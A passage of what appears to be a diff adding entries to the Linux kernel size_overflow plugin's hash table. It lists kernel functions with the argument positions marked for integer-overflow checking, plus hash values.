57259 _000047_hash NULL ++_000048_hash alloc_sglist 1-3-2 22960 _000048_hash NULL ++_000049_hash __alloc_skb 1 23940 _000049_hash NULL ++_000050_hash aoedev_flush 2 44398 _000050_hash NULL ++_000051_hash append_to_buffer 3 63550 _000051_hash NULL ++_000052_hash asix_read_cmd 5 13245 _000052_hash NULL ++_000053_hash asix_write_cmd 5 58192 _000053_hash NULL ++_000054_hash at76_set_card_command 4 4471 _000054_hash NULL ++_000055_hash ath6kl_add_bss_if_needed 6 24317 _000055_hash NULL ++_000056_hash ath6kl_debug_roam_tbl_event 3 5224 _000056_hash NULL ++_000057_hash ath6kl_mgmt_powersave_ap 6 13791 _000057_hash NULL ++_000058_hash ath6kl_send_go_probe_resp 3 21113 _000058_hash NULL ++_000059_hash ath6kl_set_ap_probe_resp_ies 3 50539 _000059_hash NULL ++_000060_hash ath6kl_set_assoc_req_ies 3 43185 _000060_hash NULL ++_000061_hash ath6kl_wmi_bssinfo_event_rx 3 2275 _000061_hash NULL ++_000062_hash ath6kl_wmi_send_action_cmd 7 58860 _000062_hash NULL ++_000063_hash __ath6kl_wmi_send_mgmt_cmd 7 38971 _000063_hash NULL ++_000064_hash attach_hdlc_protocol 3 19986 _000064_hash NULL ++_000065_hash audio_write 4 54261 _001782_hash NULL nohasharray ++_000066_hash audit_unpack_string 3 13748 _000066_hash NULL ++_000067_hash ax25_setsockopt 5 42740 _000067_hash NULL ++_000068_hash b43_debugfs_write 3 34838 _000068_hash NULL ++_000069_hash b43legacy_debugfs_write 3 28556 _000069_hash NULL ++_000070_hash batadv_hash_new 1 40491 _000070_hash NULL ++_000071_hash batadv_orig_node_add_if 2 18433 _000071_hash NULL ++_000072_hash batadv_orig_node_del_if 2 4 _000072_hash NULL ++_000073_hash batadv_tt_changes_fill_buff 4 40323 _000073_hash NULL ++_000074_hash batadv_tt_realloc_packet_buff 4 49960 _000074_hash NULL ++_000075_hash bch_alloc 1 4593 _000075_hash NULL ++_000076_hash befs_nls2utf 3 17163 _000076_hash NULL ++_000077_hash befs_utf2nls 3 25628 _000077_hash NULL ++_000078_hash bfad_debugfs_write_regrd 3 15218 _000078_hash NULL ++_000079_hash bfad_debugfs_write_regwr 3 61841 _000079_hash NULL ++_000080_hash bio_alloc_map_data 1-2 50782 _000080_hash NULL ++_000082_hash bio_kmalloc 2 54672 _000082_hash NULL ++_000083_hash bitmap_storage_alloc 2 55077 _000083_hash NULL ++_000084_hash blkcipher_copy_iv 3 24075 _000084_hash NULL ++_000085_hash blkcipher_next_slow 3-4 52733 _000085_hash NULL ++_000087_hash bl_pipe_downcall 3 34264 _000087_hash NULL ++_000088_hash bnad_debugfs_write_regrd 3 6706 _000088_hash NULL ++_000089_hash bnad_debugfs_write_regwr 3 57500 _000089_hash NULL ++_000090_hash bnx2fc_cmd_mgr_alloc 2-3 24873 _000090_hash NULL ++_000092_hash bnx2fc_process_unsol_compl 2 15576 _000092_hash NULL ++_000093_hash bnx2_nvram_write 2-4 7790 _000093_hash NULL ++_000095_hash btmrvl_gpiogap_write 3 35053 _000095_hash NULL ++_000096_hash btmrvl_hscfgcmd_write 3 27143 _000096_hash NULL ++_000097_hash btmrvl_hscmd_write 3 27089 _000097_hash NULL ++_000098_hash btmrvl_hsmode_write 3 42252 _000098_hash NULL ++_000099_hash btmrvl_pscmd_write 3 29504 _000099_hash NULL ++_000100_hash btmrvl_psmode_write 3 3703 _000100_hash NULL ++_000101_hash btrfs_alloc_delayed_item 1 11678 _000101_hash NULL ++_000102_hash c4iw_id_table_alloc 3 48163 _000102_hash NULL ++_000103_hash cache_do_downcall 3 6926 _000103_hash NULL ++_000104_hash cachefiles_cook_key 2 33274 _000104_hash NULL ++_000105_hash cachefiles_daemon_write 3 43535 _000105_hash NULL ++_000106_hash capi_write 3 35104 _003607_hash NULL nohasharray ++_000107_hash carl9170_debugfs_write 3 50857 _000107_hash NULL ++_000108_hash cciss_allocate_sg_chain_blocks 2-3 5368 _000108_hash NULL ++_000110_hash cciss_proc_write 3 10259 _000110_hash NULL ++_000111_hash cdrom_read_cdda_old 4 27664 _000111_hash NULL ++_000112_hash ceph_alloc_page_vector 1 18710 _000112_hash NULL ++_000113_hash ceph_buffer_new 1 35974 _000113_hash NULL ++_000114_hash ceph_copy_user_to_page_vector 3-4 656 _000114_hash NULL ++_000116_hash ceph_get_direct_page_vector 2 41917 _000116_hash NULL ++_000117_hash ceph_msg_new 2 5846 _000117_hash NULL ++_000118_hash ceph_setxattr 4 18913 _000118_hash NULL ++_000119_hash cfi_read_pri 3 24366 _000119_hash NULL ++_000120_hash cgroup_write_string 5 10900 _000120_hash NULL ++_000121_hash cgroup_write_X64 5 54514 _000121_hash NULL ++_000122_hash change_xattr 5 61390 _000122_hash NULL ++_000123_hash check_load_and_stores 2 2143 _000123_hash NULL ++_000124_hash cifs_idmap_key_instantiate 3 54503 _000124_hash NULL ++_000125_hash cifs_security_flags_proc_write 3 5484 _000125_hash NULL ++_000126_hash cifs_setxattr 4 23957 _000126_hash NULL ++_000127_hash cifs_spnego_key_instantiate 3 23588 _000127_hash NULL ++_000128_hash cld_pipe_downcall 3 15058 _000128_hash NULL ++_000129_hash clear_refs_write 3 61904 _000129_hash NULL ++_000130_hash clusterip_proc_write 3 44729 _000130_hash NULL ++_000131_hash cm4040_write 3 58079 _000131_hash NULL ++_000132_hash cm_copy_private_data 2 3649 _000132_hash NULL ++_000133_hash cmm_write 3 2896 _000133_hash NULL ++_000134_hash cm_write 3 36858 _000134_hash NULL ++_000135_hash coda_psdev_write 3 1711 _000135_hash NULL ++_000136_hash codec_reg_read_file 3 36280 _000136_hash NULL ++_000137_hash command_file_write 3 31318 _000137_hash NULL ++_000138_hash command_write 3 58841 _000138_hash NULL ++_000139_hash comm_write 3 44537 _001714_hash NULL nohasharray ++_000140_hash concat_writev 3 21451 _000140_hash NULL ++_000141_hash copy_and_check 3 19089 _000141_hash NULL ++_000142_hash copy_from_user_toio 3 31966 _000142_hash NULL ++_000143_hash copy_items 6 50140 _000143_hash NULL ++_000144_hash copy_macs 4 45534 _000144_hash NULL ++_000145_hash __copy_to_user 3 17551 _000145_hash NULL ++_000146_hash copy_vm86_regs_from_user 3 45340 _000146_hash NULL ++_000147_hash core_sys_select 1 47494 _000147_hash NULL ++_000148_hash cosa_write 3 1774 _000148_hash NULL ++_000149_hash cp210x_set_config 4 46447 _000149_hash NULL ++_000150_hash create_entry 2 33479 _000150_hash NULL ++_000151_hash create_queues 2-3 9088 _000151_hash NULL ++_000153_hash create_xattr 5 54106 _000153_hash NULL ++_000154_hash create_xattr_datum 5 33356 _003443_hash NULL nohasharray ++_000155_hash csum_partial_copy_fromiovecend 3-4 9957 _000155_hash NULL ++_000157_hash ctrl_out 3-5 8712 _000157_hash NULL ++_000159_hash cxacru_cm_get_array 4 4412 _000159_hash NULL ++_000160_hash cxgbi_alloc_big_mem 1 4707 _000160_hash NULL ++_000161_hash dac960_user_command_proc_write 3 3071 _000161_hash NULL ++_000162_hash datablob_format 2 39571 _002490_hash NULL nohasharray ++_000163_hash dccp_feat_clone_sp_val 3 11942 _000163_hash NULL ++_000164_hash dccp_setsockopt_ccid 4 30701 _000164_hash NULL ++_000165_hash dccp_setsockopt_cscov 2 37766 _000165_hash NULL ++_000166_hash dccp_setsockopt_service 4 65336 _000166_hash NULL ++_000167_hash ddebug_proc_write 3 18055 _000167_hash NULL ++_000168_hash dev_config 3 8506 _000168_hash NULL ++_000169_hash device_write 3 45156 _000169_hash NULL ++_000170_hash devm_kzalloc 2 4966 _000170_hash NULL ++_000171_hash devres_alloc 2 551 _000171_hash NULL ++_000172_hash dfs_file_write 3 41196 _000172_hash NULL ++_000173_hash direct_entry 3 38836 _000173_hash NULL ++_000174_hash dispatch_ioctl 2 32357 _000174_hash NULL ++_000175_hash dispatch_proc_write 3 44320 _000175_hash NULL ++_000176_hash diva_os_copy_from_user 4 7792 _000176_hash NULL ++_000177_hash dlm_alloc_pagevec 1 54296 _000177_hash NULL ++_000178_hash dlmfs_file_read 3 28385 _000178_hash NULL ++_000179_hash dlmfs_file_write 3 6892 _000179_hash NULL ++_000180_hash dm_read 3 15674 _000180_hash NULL ++_000181_hash dm_write 3 2513 _000181_hash NULL ++_000182_hash __dn_setsockopt 5 13060 _000182_hash NULL ++_000183_hash dns_query 3 9676 _000183_hash NULL ++_000184_hash dns_resolver_instantiate 3 63314 _000184_hash NULL ++_000185_hash do_add_counters 3 3992 _000185_hash NULL ++_000186_hash __do_config_autodelink 3 58763 _000186_hash NULL ++_000187_hash do_ip_setsockopt 5 41852 _000187_hash NULL ++_000188_hash do_ipv6_setsockopt 5 18215 _000188_hash NULL ++_000189_hash do_ip_vs_set_ctl 4 48641 _000189_hash NULL ++_000190_hash do_kimage_alloc 3 64827 _000190_hash NULL ++_000191_hash do_register_entry 4 29478 _000191_hash NULL ++_000192_hash do_tty_write 5 44896 _000192_hash NULL ++_000193_hash do_update_counters 4 2259 _000193_hash NULL ++_000194_hash dsp_write 2 46218 _000194_hash NULL ++_000195_hash dup_to_netobj 3 26363 _000195_hash NULL ++_000196_hash dwc3_link_state_write 3 12641 _000196_hash NULL ++_000197_hash dwc3_mode_write 3 51997 _000197_hash NULL ++_000198_hash dwc3_testmode_write 3 30516 _000198_hash NULL ++_000199_hash ecryptfs_copy_filename 4 11868 _000199_hash NULL ++_000200_hash ecryptfs_miscdev_write 3 26847 _000200_hash NULL ++_000201_hash ecryptfs_send_miscdev 2 64816 _000201_hash NULL ++_000202_hash efx_tsoh_heap_alloc 2 58545 _000202_hash NULL ++_000203_hash emi26_writememory 4 57908 _000203_hash NULL ++_000204_hash emi62_writememory 4 29731 _000204_hash NULL ++_000205_hash encrypted_instantiate 3 3168 _000205_hash NULL ++_000206_hash encrypted_update 3 13414 _000206_hash NULL ++_000207_hash ep0_write 3 14536 _001422_hash NULL nohasharray ++_000208_hash ep_read 3 58813 _000208_hash NULL ++_000209_hash ep_write 3 59008 _000209_hash NULL ++_000210_hash erst_dbg_write 3 46715 _000210_hash NULL ++_000211_hash esp_alloc_tmp 2-3 40558 _000211_hash NULL ++_000213_hash evdev_do_ioctl 2 24459 _000213_hash NULL ++_000214_hash exofs_read_lookup_dev_table 3 17733 _000214_hash NULL ++_000215_hash ext4_kvmalloc 1 14796 _000215_hash NULL ++_000216_hash ezusb_writememory 4 45976 _000216_hash NULL ++_000217_hash fanotify_write 3 64623 _000217_hash NULL ++_000218_hash fd_copyin 3 56247 _000218_hash NULL ++_000219_hash ffs_epfile_io 3 64886 _000219_hash NULL ++_000220_hash ffs_prepare_buffer 2 59892 _000220_hash NULL ++_000221_hash f_hidg_write 3 7932 _000221_hash NULL ++_000222_hash file_read_actor 4 1401 _000222_hash NULL ++_000223_hash fill_write_buffer 3 3142 _000223_hash NULL ++_000224_hash __find_xattr 6 2117 _002425_hash NULL nohasharray ++_000225_hash fl_create 5 56435 _000225_hash NULL ++_000226_hash fs_path_ensure_buf 2 59445 _000226_hash NULL ++_000227_hash ftdi_elan_write 3 57309 _000227_hash NULL ++_000228_hash fw_iso_buffer_alloc 2 13704 _000228_hash NULL ++_000229_hash garmin_write_bulk 3 58191 _000229_hash NULL ++_000230_hash garp_attr_create 3 3883 _000230_hash NULL ++_000231_hash get_arg 3 5694 _000231_hash NULL ++_000232_hash getdqbuf 1 62908 _000232_hash NULL ++_000233_hash get_fdb_entries 3 41916 _000233_hash NULL ++_000234_hash get_fd_set 1 3866 _000234_hash NULL ++_000235_hash get_indirect_ea 4 51869 _000235_hash NULL ++_000236_hash get_registers 3 26187 _000236_hash NULL ++_000237_hash get_scq 2 10897 _000237_hash NULL ++_000238_hash get_server_iovec 2 16804 _000238_hash NULL ++_000239_hash get_ucode_user 3 38202 _000239_hash NULL ++_000240_hash get_user_cpu_mask 2 14861 _000240_hash NULL ++_000241_hash gfs2_alloc_sort_buffer 1 18275 _000241_hash NULL ++_000242_hash gfs2_glock_nq_m 1 20347 _000242_hash NULL ++_000243_hash gigaset_initcs 2 43753 _000243_hash NULL ++_000244_hash gigaset_initdriver 2 1060 _000244_hash NULL ++_000245_hash groups_alloc 1 7614 _000245_hash NULL ++_000246_hash gs_alloc_req 2 58883 _000246_hash NULL ++_000247_hash gs_buf_alloc 2 25067 _000247_hash NULL ++_000248_hash gsm_data_alloc 3 42437 _000248_hash NULL ++_000249_hash gss_pipe_downcall 3 23182 _000249_hash NULL ++_000250_hash handle_request 9 10024 _000250_hash NULL ++_000251_hash hashtab_create 3 33769 _000251_hash NULL ++_000252_hash hcd_buffer_alloc 2 27495 _000252_hash NULL ++_000253_hash hci_sock_setsockopt 5 28993 _000253_hash NULL ++_000254_hash heap_init 2 49617 _000254_hash NULL ++_000255_hash hest_ghes_dev_register 1 46766 _000255_hash NULL ++_000256_hash hidg_alloc_ep_req 2 10159 _000256_hash NULL ++_000257_hash hid_parse_report 3 51737 _000257_hash NULL ++_000258_hash hidraw_get_report 3 45609 _000258_hash NULL ++_000259_hash hidraw_report_event 3 20503 _000259_hash NULL ++_000260_hash hidraw_send_report 3 23449 _000260_hash NULL ++_000261_hash hpfs_translate_name 3 41497 _000261_hash NULL ++_000262_hash hysdn_conf_write 3 52145 _000262_hash NULL ++_000263_hash __i2400mu_send_barker 3 23652 _000263_hash NULL ++_000264_hash i2cdev_read 3 1206 _000264_hash NULL ++_000265_hash i2cdev_write 3 23310 _000265_hash NULL ++_000266_hash i2o_parm_field_get 5 34477 _000266_hash NULL ++_000267_hash i2o_parm_table_get 6 61635 _000267_hash NULL ++_000268_hash ib_copy_from_udata 3 59502 _000268_hash NULL ++_000269_hash ib_ucm_alloc_data 3 36885 _000269_hash NULL ++_000270_hash ib_umad_write 3 47993 _000270_hash NULL ++_000271_hash ib_uverbs_unmarshall_recv 5 12251 _000271_hash NULL ++_000272_hash icn_writecmd 2 38629 _000272_hash NULL ++_000273_hash ide_driver_proc_write 3 32493 _000273_hash NULL ++_000274_hash ide_settings_proc_write 3 35110 _000274_hash NULL ++_000275_hash idetape_chrdev_write 3 53976 _000275_hash NULL ++_000276_hash idmap_pipe_downcall 3 14591 _000276_hash NULL ++_000277_hash ieee80211_build_probe_req 7-5 27660 _000277_hash NULL ++_000278_hash ieee80211_if_write 3 34894 _000278_hash NULL ++_000279_hash if_write 3 51756 _000279_hash NULL ++_000280_hash ilo_write 3 64378 _000280_hash NULL ++_000281_hash ima_write_policy 3 40548 _000281_hash NULL ++_000282_hash init_data_container 1 60709 _000282_hash NULL ++_000283_hash init_send_hfcd 1 34586 _000283_hash NULL ++_000284_hash insert_dent 7 65034 _000284_hash NULL ++_000285_hash interpret_user_input 2 19393 _000285_hash NULL ++_000286_hash int_proc_write 3 39542 _000286_hash NULL ++_000287_hash ioctl_private_iw_point 7 1273 _000287_hash NULL ++_000288_hash iov_iter_copy_from_user 4 31942 _000288_hash NULL ++_000289_hash iov_iter_copy_from_user_atomic 4 56368 _000289_hash NULL ++_000290_hash iowarrior_write 3 18604 _000290_hash NULL ++_000291_hash ipc_alloc 1 1192 _000291_hash NULL ++_000292_hash ipc_rcu_alloc 1 21208 _000292_hash NULL ++_000293_hash ip_options_get_from_user 4 64958 _000293_hash NULL ++_000294_hash ipv6_renew_option 3 38813 _000294_hash NULL ++_000295_hash ip_vs_conn_fill_param_sync 6 29771 _001898_hash NULL nohasharray ++_000296_hash ip_vs_create_timeout_table 2 64478 _000296_hash NULL ++_000297_hash ipw_queue_tx_init 3 49161 _000297_hash NULL ++_000298_hash irda_setsockopt 5 19824 _000298_hash NULL ++_000299_hash irias_new_octseq_value 2 13596 _003821_hash NULL nohasharray ++_000300_hash irnet_ctrl_write 3 24139 _000300_hash NULL ++_000301_hash isdn_add_channels 3 40905 _000301_hash NULL ++_000302_hash isdn_ppp_fill_rq 2 41428 _000302_hash NULL ++_000303_hash isdn_ppp_write 4 29109 _000303_hash NULL ++_000304_hash isdn_read 3 50021 _000304_hash NULL ++_000305_hash isdn_v110_open 3 2418 _000305_hash NULL ++_000306_hash isdn_writebuf_stub 4 52383 _000306_hash NULL ++_000307_hash islpci_mgt_transmit 5 34133 _000307_hash NULL ++_000308_hash iso_callback 3 43208 _000308_hash NULL ++_000309_hash iso_packets_buffer_init 3-4 29061 _000309_hash NULL ++_000310_hash it821x_firmware_command 3 8628 _000310_hash NULL ++_000311_hash iwch_alloc_fastreg_pbl 2 40153 _000311_hash NULL ++_000312_hash iwl_calib_set 3 34400 _003754_hash NULL nohasharray ++_000313_hash jbd2_journal_init_revoke_table 1 36336 _000313_hash NULL ++_000314_hash jffs2_alloc_full_dirent 1 60179 _001158_hash NULL nohasharray ++_000315_hash journal_init_revoke_table 1 56331 _000315_hash NULL ++_000316_hash kcalloc 1-2 27770 _000316_hash NULL ++_000318_hash keyctl_instantiate_key_common 4 47889 _000318_hash NULL ++_000319_hash keyctl_update_key 3 26061 _000319_hash NULL ++_000320_hash __kfifo_alloc 2-3 22173 _000320_hash NULL ++_000322_hash kfifo_copy_from_user 3 5091 _000322_hash NULL ++_000323_hash kmalloc_node 1 50163 _003818_hash NULL nohasharray ++_000324_hash kmalloc_parameter 1 65279 _000324_hash NULL ++_000325_hash kmem_alloc 1 31920 _000325_hash NULL ++_000326_hash kobj_map 2-3 9566 _000326_hash NULL ++_000328_hash kone_receive 4 4690 _000328_hash NULL ++_000329_hash kone_send 4 63435 _000329_hash NULL ++_000330_hash krealloc 2 14908 _000330_hash NULL ++_000331_hash kvmalloc 1 32646 _000331_hash NULL ++_000332_hash kvm_read_guest_atomic 4 10765 _000332_hash NULL ++_000333_hash kvm_read_guest_cached 4 39666 _000333_hash NULL ++_000334_hash kvm_read_guest_page 5 18074 _000334_hash NULL ++_000335_hash kzalloc 1 54740 _000335_hash NULL ++_000336_hash l2cap_sock_setsockopt 5 50207 _000336_hash NULL ++_000337_hash l2cap_sock_setsockopt_old 4 29346 _000337_hash NULL ++_000338_hash lane2_associate_req 4 45398 _000338_hash NULL ++_000339_hash lbs_debugfs_write 3 48413 _000339_hash NULL ++_000340_hash lcd_write 3 14857 _000340_hash &_000015_hash ++_000341_hash ldm_frag_add 2 5611 _000341_hash NULL ++_000342_hash __lgread 4 31668 _000342_hash NULL ++_000343_hash libipw_alloc_txb 1-3-2 27579 _000343_hash NULL ++_000344_hash link_send_sections_long 4 46556 _000344_hash NULL ++_000345_hash listxattr 3 12769 _000345_hash NULL ++_000346_hash load_msg 2 95 _000346_hash NULL ++_000347_hash lpfc_debugfs_dif_err_write 3 17424 _000347_hash NULL ++_000348_hash lp_write 3 9511 _000348_hash NULL ++_000349_hash mb_cache_create 2 17307 _000349_hash NULL ++_000350_hash mce_write 3 26201 _000350_hash NULL ++_000351_hash mcs7830_get_reg 3 33308 _000351_hash NULL ++_000352_hash mcs7830_set_reg 3 31413 _000352_hash NULL ++_000353_hash memcpy_fromiovec 3 55247 _000353_hash NULL ++_000354_hash memcpy_fromiovecend 3-4 2707 _000354_hash NULL ++_000356_hash mempool_resize 2 47983 _002039_hash NULL nohasharray ++_000357_hash mem_rw 3 22085 _000357_hash NULL ++_000358_hash mgmt_control 3 7349 _000358_hash NULL ++_000359_hash mgmt_pending_add 5 46976 _000359_hash NULL ++_000360_hash mlx4_ib_alloc_fast_reg_page_list 2 46119 _000360_hash NULL ++_000361_hash mmc_alloc_sg 1 21504 _000361_hash NULL ++_000362_hash mmc_send_bus_test 4 18285 _000362_hash NULL ++_000363_hash mmc_send_cxd_data 5 38655 _000363_hash NULL ++_000364_hash module_alloc_update_bounds 1 47205 _000364_hash NULL ++_000365_hash move_addr_to_kernel 2 32673 _000365_hash NULL ++_000366_hash mpi_alloc_limb_space 1 23190 _000366_hash NULL ++_000367_hash mpi_resize 2 44674 _000367_hash NULL ++_000368_hash mptctl_getiocinfo 2 28545 _000368_hash NULL ++_000369_hash mtdchar_readoob 4 31200 _000369_hash NULL ++_000370_hash mtdchar_write 3 56831 _002122_hash NULL nohasharray ++_000371_hash mtdchar_writeoob 4 3393 _000371_hash NULL ++_000372_hash mtd_device_parse_register 5 5024 _000372_hash NULL ++_000373_hash mtf_test_write 3 18844 _000373_hash NULL ++_000374_hash mthca_alloc_icm_table 3-4 38268 _002459_hash NULL nohasharray ++_000376_hash mthca_alloc_init 2 21754 _000376_hash NULL ++_000377_hash mthca_array_init 2 39987 _000377_hash NULL ++_000378_hash mthca_buf_alloc 2 35861 _000378_hash NULL ++_000379_hash mtrr_write 3 59622 _000379_hash NULL ++_000380_hash musb_test_mode_write 3 33518 _000380_hash NULL ++_000381_hash mwifiex_get_common_rates 3 17131 _000381_hash NULL ++_000382_hash __mxt_write_reg 3 57326 _000382_hash NULL ++_000383_hash nand_bch_init 2-3 16280 _001439_hash NULL nohasharray ++_000385_hash ncp_file_write 3 3813 _000385_hash NULL ++_000386_hash ncp__vol2io 5 4804 _000386_hash NULL ++_000387_hash nes_alloc_fast_reg_page_list 2 33523 _000387_hash NULL ++_000388_hash nfc_targets_found 3 29886 _000388_hash NULL ++_000389_hash __nf_ct_ext_add_length 3 12364 _000389_hash NULL ++_000390_hash nfs4_acl_new 1 49806 _000390_hash NULL ++_000391_hash nfs4_write_cached_acl 4 15070 _000391_hash NULL ++_000392_hash nfsd_symlink 6 63442 _000392_hash NULL ++_000393_hash nfs_idmap_get_desc 2-4 42990 _000393_hash NULL ++_000395_hash nfs_readdir_make_qstr 3 12509 _000395_hash NULL ++_000396_hash note_last_dentry 3 12285 _000396_hash NULL ++_000397_hash ntfs_copy_from_user 3-5 15072 _000397_hash NULL ++_000399_hash __ntfs_copy_from_user_iovec_inatomic 3-4 38153 _000399_hash NULL ++_000401_hash ntfs_ucstonls 3-5 23097 _000401_hash NULL ++_000403_hash nvme_alloc_iod 1 56027 _000403_hash NULL ++_000404_hash nvram_write 3 3894 _000404_hash NULL ++_000405_hash o2hb_debug_create 4 18744 _000405_hash NULL ++_000406_hash o2net_send_message_vec 4 879 _002013_hash NULL nohasharray ++_000407_hash ocfs2_control_cfu 2 37750 _000407_hash NULL ++_000408_hash oom_adjust_write 3 41116 _000408_hash NULL ++_000409_hash oom_score_adj_write 3 42594 _000409_hash NULL ++_000410_hash oprofilefs_ulong_from_user 3 57251 _000410_hash NULL ++_000411_hash opticon_write 4 60775 _000411_hash NULL ++_000412_hash p9_check_zc_errors 4 15534 _000412_hash NULL ++_000413_hash packet_buffer_init 2 1607 _000413_hash NULL ++_000414_hash packet_setsockopt 5 17662 _000414_hash NULL ++_000415_hash parse_command 2 37079 _000415_hash NULL ++_000416_hash pcbit_writecmd 2 12332 _000416_hash NULL ++_000417_hash pcmcia_replace_cis 3 57066 _000417_hash NULL ++_000418_hash pgctrl_write 3 50453 _000418_hash NULL ++_000419_hash pg_write 3 40766 _000419_hash NULL ++_000420_hash pidlist_allocate 1 64404 _000420_hash NULL ++_000421_hash pipe_iov_copy_from_user 3 23102 _000421_hash NULL ++_000422_hash pipe_iov_copy_to_user 3 3447 _000422_hash NULL ++_000423_hash pkt_add 3 39897 _000423_hash NULL ++_000424_hash pktgen_if_write 3 55628 _000424_hash NULL ++_000425_hash platform_device_add_data 3 310 _000425_hash NULL ++_000426_hash platform_device_add_resources 3 13289 _000426_hash NULL ++_000427_hash pmcraid_copy_sglist 3 38431 _000427_hash NULL ++_000428_hash pm_qos_power_write 3 52513 _000428_hash NULL ++_000429_hash pnpbios_proc_write 3 19758 _000429_hash NULL ++_000430_hash pool_allocate 3 42012 _000430_hash NULL ++_000431_hash posix_acl_alloc 1 48063 _000431_hash NULL ++_000432_hash ppp_cp_parse_cr 4 5214 _000432_hash NULL ++_000433_hash ppp_write 3 34034 _000433_hash NULL ++_000434_hash pp_read 3 33210 _000434_hash NULL ++_000435_hash pp_write 3 39554 _000435_hash NULL ++_000436_hash printer_req_alloc 2 62687 _000436_hash NULL ++_000437_hash printer_write 3 60276 _000437_hash NULL ++_000438_hash prism2_info_scanresults 3 59729 _000438_hash NULL ++_000439_hash prism2_set_genericelement 3 29277 _000439_hash NULL ++_000440_hash __probe_kernel_read 3 61119 _000440_hash NULL ++_000441_hash __probe_kernel_write 3 29842 _000441_hash NULL ++_000442_hash proc_coredump_filter_write 3 25625 _000442_hash NULL ++_000443_hash _proc_do_string 2 6376 _000443_hash NULL ++_000444_hash process_vm_rw_pages 5-6 15954 _000444_hash NULL ++_000446_hash proc_loginuid_write 3 63648 _000446_hash NULL ++_000447_hash proc_pid_attr_write 3 63845 _000447_hash NULL ++_000448_hash proc_scsi_devinfo_write 3 32064 _000448_hash NULL ++_000449_hash proc_scsi_write 3 29142 _000449_hash NULL ++_000450_hash proc_scsi_write_proc 3 267 _000450_hash NULL ++_000451_hash pskb_expand_head 2-3 42881 _000451_hash NULL ++_000453_hash pstore_mkfile 5 50830 _000453_hash NULL ++_000454_hash pti_char_write 3 60960 _000454_hash NULL ++_000455_hash ptrace_writedata 4 45021 _000455_hash NULL ++_000456_hash pt_write 3 40159 _000456_hash NULL ++_000457_hash qdisc_class_hash_alloc 1 18262 _000457_hash NULL ++_000458_hash r3964_write 4 57662 _000458_hash NULL ++_000459_hash raw_seticmpfilter 3 6888 _000459_hash NULL ++_000460_hash raw_setsockopt 5 45800 _000460_hash NULL ++_000461_hash rawv6_seticmpfilter 5 12137 _000461_hash NULL ++_000462_hash ray_cs_essid_proc_write 3 17875 _000462_hash NULL ++_000463_hash rbd_add 3 16366 _000463_hash NULL ++_000464_hash rbd_snap_add 4 19678 _000464_hash NULL ++_000465_hash rdma_set_ib_paths 3 45592 _000465_hash NULL ++_000466_hash rds_page_copy_user 4 35691 _000466_hash NULL ++_000467_hash read 3 9397 _000467_hash NULL ++_000468_hash read_buf 2 20469 _000468_hash NULL ++_000469_hash read_cis_cache 4 29735 _000469_hash NULL ++_000470_hash realloc_buffer 2 25816 _000470_hash NULL ++_000471_hash receive_DataRequest 3 9904 _000471_hash NULL ++_000472_hash recent_mt_proc_write 3 8206 _000472_hash NULL ++_000473_hash regmap_access_read_file 3 37223 _000473_hash NULL ++_000474_hash regmap_bulk_write 4 59049 _000474_hash NULL ++_000475_hash regmap_map_read_file 3 37685 _000475_hash NULL ++_000476_hash regset_tls_set 4 18459 _000476_hash NULL ++_000477_hash reiserfs_add_entry 4 23062 _002792_hash NULL nohasharray ++_000478_hash remote_settings_file_write 3 22987 _000478_hash NULL ++_000479_hash request_key_auth_new 3 38092 _000479_hash NULL ++_000480_hash restore_i387_fxsave 2 17528 _000480_hash NULL ++_000481_hash revalidate 2 19043 _000481_hash NULL ++_000482_hash rfcomm_sock_setsockopt 5 18254 _000482_hash NULL ++_000483_hash rndis_add_response 2 58544 _000483_hash NULL ++_000484_hash rndis_set_oid 4 6547 _000484_hash NULL ++_000485_hash rngapi_reset 3 34366 _002137_hash NULL nohasharray ++_000486_hash roccat_common2_receive 4 50369 _000486_hash NULL ++_000487_hash roccat_common2_send 4 2422 _000487_hash NULL ++_000488_hash rpc_malloc 2 43573 _000488_hash NULL ++_000489_hash rt2x00debug_write_bbp 3 8212 _000489_hash NULL ++_000490_hash rt2x00debug_write_csr 3 64753 _000490_hash NULL ++_000491_hash rt2x00debug_write_eeprom 3 23091 _000491_hash NULL ++_000492_hash rt2x00debug_write_rf 3 38195 _000492_hash NULL ++_000493_hash rt2x00debug_write_rfcsr 3 41473 _000493_hash NULL ++_000494_hash rts51x_read_mem 4 26577 _002730_hash NULL nohasharray ++_000495_hash rts51x_read_status 4 11830 _000495_hash NULL ++_000496_hash rts51x_write_mem 4 17598 _000496_hash NULL ++_000497_hash rw_copy_check_uvector 3 45748 _003716_hash NULL nohasharray ++_000498_hash rxrpc_request_key 3 27235 _000498_hash NULL ++_000499_hash rxrpc_server_keyring 3 16431 _000499_hash NULL ++_000500_hash savemem 3 58129 _000500_hash NULL ++_000501_hash sb16_copy_from_user 10-7-6 55836 _000501_hash NULL ++_000504_hash sched_autogroup_write 3 10984 _000504_hash NULL ++_000505_hash scsi_mode_select 6 37330 _000505_hash NULL ++_000506_hash scsi_tgt_copy_sense 3 26933 _000506_hash NULL ++_000507_hash sctp_auth_create_key 1 51641 _000507_hash NULL ++_000508_hash sctp_getsockopt_delayed_ack 2 9232 _000508_hash NULL ++_000509_hash sctp_getsockopt_local_addrs 2 25178 _000509_hash NULL ++_000510_hash sctp_make_abort_user 3 29654 _000510_hash NULL ++_000511_hash sctp_setsockopt_active_key 3 43755 _000511_hash NULL ++_000512_hash sctp_setsockopt_adaptation_layer 3 26935 _003246_hash NULL nohasharray ++_000513_hash sctp_setsockopt_associnfo 3 51684 _000513_hash NULL ++_000514_hash sctp_setsockopt_auth_chunk 3 30843 _000514_hash NULL ++_000515_hash sctp_setsockopt_auth_key 3 3793 _000515_hash NULL ++_000516_hash sctp_setsockopt_autoclose 3 5775 _000516_hash NULL ++_000517_hash sctp_setsockopt_bindx 3 49870 _000517_hash NULL ++_000518_hash __sctp_setsockopt_connectx 3 46949 _000518_hash NULL ++_000519_hash sctp_setsockopt_context 3 31091 _000519_hash NULL ++_000520_hash sctp_setsockopt_default_send_param 3 49578 _000520_hash NULL ++_000521_hash sctp_setsockopt_delayed_ack 3 40129 _000521_hash NULL ++_000522_hash sctp_setsockopt_del_key 3 42304 _002709_hash NULL nohasharray ++_000523_hash sctp_setsockopt_events 3 18862 _000523_hash NULL ++_000524_hash sctp_setsockopt_hmac_ident 3 11687 _000524_hash NULL ++_000525_hash sctp_setsockopt_initmsg 3 1383 _000525_hash NULL ++_000526_hash sctp_setsockopt_maxburst 3 28041 _000526_hash NULL ++_000527_hash sctp_setsockopt_maxseg 3 11829 _000527_hash NULL ++_000528_hash sctp_setsockopt_peer_addr_params 3 734 _000528_hash NULL ++_000529_hash 